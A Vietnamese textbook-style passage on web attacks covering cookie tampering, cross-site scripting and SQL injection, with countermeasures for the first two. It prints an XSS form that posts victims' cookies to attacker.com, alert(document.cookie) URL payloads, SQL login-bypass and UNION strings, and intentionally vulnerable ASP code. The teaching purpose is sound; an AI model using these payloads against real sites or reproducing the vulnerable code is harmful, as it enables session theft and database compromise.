a) Khái niệm:
Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa trình chủ
và trình duyệt của người dùng.
Cookie lưu trữ dưới những file dữ liệu nhỏ dạng text, được ứng dụng tạo ra để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm trang Web và những vùng mà họ đi qua trong trang. Những thông tin này bao gồm tên/định danh người dùng, mật khẩu, sở thích, thói quen...cookie được trình duyệt của người dùng chấp nhận lưu trên đĩa cứng của máy mình, tuy nhiên không phải lúc nào trình duyệt cũng hỗ trợ cookie, mà còn tùy thuộc vào người dùng có chấp nhận chuyện lưu trữđó hay không.
Ở những lần truy cập sau đến trang Web đó, ứng dụng có thể dùng lại những thông tin trong cookie, người dùng không phải làm lại thao tác đăng nhập hay phải cung cấp lại các thông tin khác.
Cookie được phân làm 2 loại secure/non-secure và persistent/non-persistent do đó ta sẽ có 4 kiểu cookie là:
Persistent và Secure Persistent và Non-Secure Non-Persistent và Secure Non-Persistent và Non-Secure
+ Persistent cookies được lưu trữ dưới dạng tập tin .txt (ví dụ trình duyệt Netscape navigator sẽ lưu các cookie thành một tập tin cookie.txt còn Internet Explorer sẽ lưu thành nhiều tập tin *.txt trong đó mỗi tập tin là một cookie) trên máy khách trong một khoảng thời gian xác định.
+ Non-persistent cookie thì được lưu trữ trên bộ nhớ RAM của máy khách và sẽ bị hủy khi đóng trang web hay nhận được lệnh hủy từ trang web.
+ Secure cookie chỉ có thể được gửi thông qua HTTPS (trình chủ sẽ cung cấp chếđộ truyền bảo mật.).
Ví dụ 5:
chuỗi lệnh trong HTTP header dưới đây sẽ tạo một cookie:
Set-Cookie:Apache="64.3.40.151.16018996349247480"; path="/";
domain="www.redhat.com"; path_spec; expires="2006-07-2719:39:15Z"; version=0
+ Các cookie của Netscape (NS) đặt trong một tập tin Cookies.txt, với
đường dẫn là: C:\Program Files\Netscape\Users\UserName\Cookies.txt.
+ Các cookies của IE được lưu thành nhiều tập tin, mỗi tập tin là một cookie và được đặt trong [C:]\Documents and Setting\[username]\Cookies (Win2000),
đối với win9x, thư mục cookies nằm trong thư mục [C:]\Windows\cookies. Kích thước tối đa của cookie là 4kb. Số cookie tối đa cho một tên miền là 20 cookie. Cookie bị hủy ngay khi đóng trình duyệt gọi là “session cookie”.
Vì cookie là thành phần lưu trữ thông tin bảo mật nhất nên Cookie thường
được dùng để lưu giữ trạng thái cho giao thức HTTP hơn là trường ẩn form và biến trên URL. Nó còn được dùng để lưu trữ những thông tin của người dùng khi sử dụng ứng dụng và những dữ liệu khác của session. Tất cả các loại cookie như persistent hay non-persistent, secure hay insecure đều có thể bị thay đổi bởi người dùng và được gửi về cho trình chủ. Do đó hacker có thể thay đổi nội dung cookie để phá hoại ứng dụng.
Với công cụ miễn phí như Winhex thì non-persistent cookie có thể bị thay
đổi nội dung. SSL chỉ có thể bảo vệ cookie trong quá trình truyền.
Ví dụ 6:
Cookie: lang=en-us; ADMIN=no; y=1 ; time=10:30GMT ;
Cookie xác định người dùng này không phải là Admin (ADMIN=no), nhưng nếu hacker thay đổi thành:
Cookie: lang=en-us; ADMIN=yes; y=1 ; time=12:30GMT ;
Biện pháp khắc phục
Sử dụng đối tượng session lưu trữ thông tin quan trọng trên trình chủ. Khi ứng dụng cần kiểm tra thông tin của một người dùng, ứng dụng sẽ dùng sessionID của người dùng để chỉ đến thông tin của người dùng đó trong cache hay cơ sở dữ liệu.
Xây dựng một cơ chế kiểm tra nội dung của cookie để tìm ra những giá trị không hợp lệ từ đó biết được cookie đó là giả. Ví dụ là nếu biến cờ
“người quản trị” được được thiết lập là đúng trong cookie, nhưng giá trị của số
thứ tự người dùng trong cookie lại không giống như giá trị số thứ tự của “người
quản trị” được lưu trữ trên server.
Phương pháp cuối cùng là mã hoá cookie. Một số phương pháp mã hoá như symmetric (dùng 1 khóa duy nhất cho cả mã hóa và giải mã) hay asymmetric (mã hóa dùng 2 khóa riêng biệt, một khóa dùng chung cho mã hóa và một khóa riêng để giải mã)
2.2. TẤN CÔNG “CHÈN MÃ LỆNH TRÊN TRÌNH DUYỆT” (Cross Site Scripting -XSS)
2.2.1. Phương pháp tấn công XSS
Phương pháp “Cross Site Scripting” (XSS) là phương pháp tấn công, bằng cách chèn thêm những đoạn mã có khả năng đánh cắp hay thiết lập được những thông tin quan trọng như cookies, mật khẩu,… vào mã nguồn ứng dụng web, để
từ đó chúng được chạy như là một phần của ứng dụng Web, và có khả năng cung cấp hoặc thực hiện những điều hacker muốn.
Phương pháp này không nhằm vào máy chủ hệ thống, mà chủ yếu tấn công vào máy người dùng. Hacker lợi dụng sự kiểm tra lỏng lẻo từứng dụng và hiểu biết hạn chế của người dùng, biết đánh vào sự tò mò của họ dẫn đến người dùng bị mất thông tin một cách dễ dàng.
Thông thường hacker lợi dụng địa chỉ URL, để đưa ra những liên kết là tác nhân kích hoạt những đoạn chương trình viết bằng ngôn ngữ máy khách như
VBScript, JavaScript… thực thi trên chính trình duyệt của nạn nhân.
Ví dụ 7: http://hotwired.lycos.com/webmonkey/00/index1.html?tw= <script>alert(document.cookie);</script> hay http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_text= %3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
Phần in đậm là đoạn mã được thêm vào với mục đích đánh cắp cookies của nạn nhân. Trong 2 ví dụ trên, hầu hết những tiền tố URL là địa chỉ
Ví dụ trên chỉ minh họa việc thêm đoạn mã của mình vào trang Web thông qua URL. Nhưng thực sự thì có nhiều cách để thêm đoạn mã JavaScript với mục đích tấn công kiểu XSS. Hacker có thể lợi dụng Document Object Model (DOM), để thay đổi ngữ cảnh và nội dung Web ứng dụng. Sau đây là danh sách nơi có thể chèn đoạn mã:
<a href="javascript#[code]"> <div onmouseover="[code]">
<img src="javascript:[code]"> <img dynsrc="javascript:[code]">
<input type="image" dynsrc="javascript:[code]"> <bgsound src="javascript:[code]">
&<script>[code]</script> &{[code]};
Các bước thực hiện XSS truyền thống:
Hình 4: Quá trình thực hiện XSS
Bước 1: Hacker biết được người dùng đang sử dụng một ứng dụng Web có lỗ hổng XSS.
Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên chính trang Web (như trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo ra…).
Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ của hacker.
Bước 4: Hacker tạo một chương trình hoặc một trang Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin
Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để
Ví dụ 8:
Khi đang đọc thư mà chuyển sang website khác, có thể bị mất mật khẩu. Trước đây, hàng loạt hộp thư của Yahoo bị mất mật khẩu hay bị đọc trộm thư
mà không rõ nguyên nhân, đó là do lỗi XSS. Hacker đã sử dụng đoạn mã sau để đánh cắp cookie:
<form action="http://attacker.com/save.asp" method="post" name="XSS"> <input type="hidden" name="cookie"> </form>
<img border="0" onmouseover="window.document.XSS.cookie.value = document.cookie; window.document.XSS.submit();" src="none.jpg">
Khi nhận thư, nếu vô tình đưa con chuột qua bức ảnh gửi kèm, người dùng sẽ bị
lấy mất cookie. Và với cookie lấy được, các hacker có thể login hòm thư mà không cần biết mật khẩu.
Ví dụ 9:
Nếu như gặp một liên kết có dạng:
http://example.com/search.cgi?query=<script>alert(document.cookie)</script>
Người dùng phải xem xét kĩ trước khi click vào, vì có khả năng sẽ mất cookies. Do đó nên tắt JavaScript cho trình duyệt trước khi click vào, hay ít nhất cũng có một chút cảnh giác. Nhưng nếu gặp liên kết:
http://example.com/search.cgi?%71%75%65%61%72%79%3D%3C%73%63%72%6 9%70%74%3E%61%6C%65%61%72%74%28%64%63%75%6D%65%6E%6C%74%2E%6 3%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E]
Đó thực chất chính là liên kết ban đầu, nhưng chỉ khác nó được mã hoá. Một phần kí tự của liên kết đã được thay thế bởi mã HEX của nó, tất nhiên trình duyệt của bạn vẫn hiểu địa chỉ đó thực sự là gì.
2.2.2. Biện pháp phòng tránh:
OWASP nói rằng để có thể xây dựng các website bảo mật cao, đối với các dữ liệu của người dùng nên:
+ Chỉ chấp nhận những dữ liệu hợp lệ. + Từ chối nhận các dữ liệu hỏng.
+ Liên tục kiểm tra và thanh lọc dữ liệu.
Tuy nhiên trên thực tế, một số trường hợp phải chấp nhận cả dữ liệu hợp lệ, không hợp lệ hay dữ liệu hỏng vì không có một bộ lọc phù hợp. Chính vì vậy phải có những cách riêng để giải quyết.
Một trong những cách hay dùng là mã hoá các kí tựđặc biệt trước khi in ra website, nhất là những gì có thể gây nguy hiểm cho người dùng. Trong trường hợp mã hóa thẻ <script> thành <script>. Như vậy nó sẽ vẫn được in ra màn hình mà không hề gây nguy hiểm cho người dùng.
Cần cấu hình lại trình duyệt để nhắc nhở người dùng có cho thực thi ngôn ngữ kịch bản trên máy của họ hay không? Tùy vào mức độ tin cậy mà người dùng sẽ quyết định.
2.3. TẤN CÔNG KIỂU “CHÈN CÂU LỆNH TRUY VẤN” (SQL Injection)
SQL Injection là cách lợi dụng những lỗ hổng trong quá trình lập trình Web về phần truy xuất CSDL. Đây không chỉ là khuyết điểm của riêng SQL Server, mà nó còn là vấn đề chung cho toàn bộ các CSDL khác như Oracle, MS Access hay IBM DB2.
Khi hacker gửi dữ liệu (thông qua các form), ứng dụng Web sẽ thực hiện và trả về cho trình duyệt kết quả câu truy vấn hay thông báo lỗi có liên quan đến CSDL. Và nhờ những thông tin này, hacker biết được nội dung CSDL, và từđó có thểđiều khiển hệ thống ứng dụng.
Các dạng tấn công bằng SQL Injection:
Có bốn dạng thông thường bao gồm:
1 Vượt qua kiểm tra lúc đăng nhập (authorization bypass) 2 Sử dụng câu lệnh SELECT
3 Sử dụng câu lệnh INSERT 4 Sử dụng các stored-procedure
2.3.1. Tấn công vượt qua kiểm tra đăng nhập
Với dạng tấn công này, tin tặc có thể vượt qua các trang đăng nhập, nhờ
vào lỗi khi dùng các câu lệnh SQL, thao tác trên CSDL của ứng dụng web. Xét ví dụ điển hình, thông thường để cho phép người dùng truy cập vào các trang web được bảo mật, hệ thống có trang đăng nhập để người dùng nhập tên đăng nhập và mật khẩu. Hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực hiện tiếp. Có thể dùng hai trang, một trang HTML để hiển thị form nhập liệu và một trang ASP dùng
để xử lí thông tin nhập từ phía người dùng.
Ví dụ 11:
login.htm
<form action="execlogin.asp" method="post"> Username: <input type="text" name="fUSRNAME"> <br>
Password: <input type="password" name="fPASSWORD"> <br>
<input type="submit"> </form>
execlogin.asp
<% Dim vUsrName, vPassword, objRS, strSQL
vUsrName = Request.Form("fUSRNAME")
vPassword = Request.Form("fPASSWORD")
strSQL= "SELECT * FROM T_USERS WHERE USR_NAME=' " & vUsrName & " ' and USR_PASSWORD=' " & vPassword & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..."
If (objRS.EOF) Then
Response.Write "Invalid login." Else
Response.Write "You are logged in as " & objRS("USR_NAME") End If
Đoạn mã “execlogin.asp” dường như không chứa một lỗ hổng về an toàn. Người dùng không thểđăng nhập mà không có tên đăng nhập và mật khẩu hợp lệ. Tuy nhiên, đoạn mã này thực sự không an toàn và là tiền đề cho một lỗi SQL injection. Sơ hở nằm ở dữ liệu nhập vào từ người dùng được dùng để xây dựng trực tiếp câu lệnh SQL. Chính điều này cho phép những kẻ tấn công có thểđiều khiển câu truy vấn sẽđược thực hiện.
Nếu người dùng nhập chuỗi sau vào trong cả 2 ô nhập liệu username và password của trang “login.htm” là: ' OR ' ' = ' '
Lúc này, câu truy vấn sẽđược gọi thực hiện là:
SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and USR_PASSWORD= '' OR ''=''
Câu truy vấn này là hợp lệ, và sẽ trả về tất cả các bản ghi của T_USERS, câu lệnh so sánh luôn luôn đúng (vì‘’luôn bằng‘’), nên câu điều kiện trong mệnh
đề WHERE luôn đúng, và thực hiện phép logic “OR” giữa giá trị bất kì với dữ
liệu trong T_USERS, giá trị tên người sử dụng của dòng đầu tiên trong bảng sẽ được chọn, xử lí người dùng đăng nhập bất hợp pháp này như là người dùng
2.3.2. Tấn công sử dụng câu lệnh SELECT
Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này, kẻ
tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ
hệ thống, để dò tìm các điểm yếu khởi đầu cho việc tấn công.
Xét ví dụ thường gặp trong các website về tin tức. Có một trang nhận ID của tin cần hiển thị, sau đó truy vấn nội dung của tin có ID này.
Ví dụ 12:
http://www.myhost.com/shownews.asp?ID=123
Mã nguồn cho chức năng này thường được viết theo dạng:
<%
Dim vNewsID, objRS, strSQL
vNewsID = Request("ID")
strSQL = "SELECT * FROM T_NEWS WHERE NEWS_ID =" & vNewsID&"
Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..."
Set objRS = Nothing %>
Trong tình huống thông thường, đoạn mã này hiển thị nội dung của tin có ID trùng với ID đã chỉđịnh, và hầu như không thấy có lỗi. Tuy nhiên, giống như
ví dụ 11, đoạn mã này để lộ sơ hở cho một lỗi SQL injection khác. Kẻ tấn công có thể thay thế ID hợp lệ bằng cách gán ID cho một giá trị khác, và khởi đầu cho cuộc tấn công bất hợp pháp.
Ví dụ 13:
0 OR 1=1(nghĩa là, http://www.myhost.com/shownews.asp?ID=0 or 1=1).
Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì nó sẽ thực hiện câu lệnh:
SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1
Ví dụ về trang tìm kiếm. Trang này cho phép người dùng nhập vào các thông tin tìm kiếm như Họ, Tên, … Đoạn mã thường gặp là:
<% Dim vAuthorName, objRS, strSQL
vAuthorName = Request("fAUTHOR_NAME")
strSQL="SELECT * FROM T_AUTHORS
WHERE AUTHOR_NAME =' " vAuthorName & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..."
…
Set objRS = Nothing %>
Tương tự như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn SQL
để nhập vào trường tên tác giả bằng chuỗi giá trị:
' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '='
Lúc này, ngoài câu truy vấn đầu thành công, chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa.
Có thắc mắc là làm thế nào có thể biết được tên của bảng dữ liệu để thực hiện các thao tác phá hoại khi ứng dụng web bị lỗi SQL injection. Đơn giản vì trong SQL Server, có hai đối tượng là sysobjects và syscolumns cho phép liệt kê tất cả các tên bảng và cột có trong hệ thống.
Ta chỉ cần chỉnh lại câu lệnh SELECT:
' UNION SELECT name FROM sysobjects WHERE xtype = 'U'
2.3.3. Tấn công sử dụng câu lệnh INSERT
Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản để tham gia. Sau khi đăng kí thành công, người dùng có thể xem và hiệu chỉnh thông tin của mình. SQL injection có thể được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào.
Ví dụ 14: câu lệnh INSERT có cú pháp dạng:
INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value Three').
Nếu đoạn mã xây dựng câu lệnh SQL có dạng:
<% strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ', ' " & strValueTwo & " ', ' " & strValueThree & " ') "
Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..."
…
Set objRS = Nothing %>
thì chắc chắn sẽ bị lỗi SQL injection, khi ta nhập:
' + (SELECT TOP 1 FieldName FROM TableName) + '
Lúc này câu truy vấn sẽ là:
INSERT INTO TableName
VALUES(' ' + (SELECT TOP 1 FieldName FROM TableName) + ' ', 'abc', 'def')
Khi đó, lúc thực hiện lệnh xem thông tin, thì xem nhưđã yêu cầu thực hiện thêm một lệnh nữa, đó là:
SELECT TOP 1
2.3.4. Dạng tấn công sử dụng Stored-Procedures
“Stored Procedure” được dùng trong lập trình Web với mục đích giảm sự
phức tạp trong ứng dụng và tránh bị tấn công bằng kĩ thuật SQL Injection. Tuy nhiên hacker vẫn có thể lợi dụng “Stored Procedure” để tấn công vào hệ thống.
Việc tấn công bằng “stored-procedures” sẽ gây tác hại lớn, nếu ứng dụng
được thực thi với quyền quản trị hệ thống 'sa'.
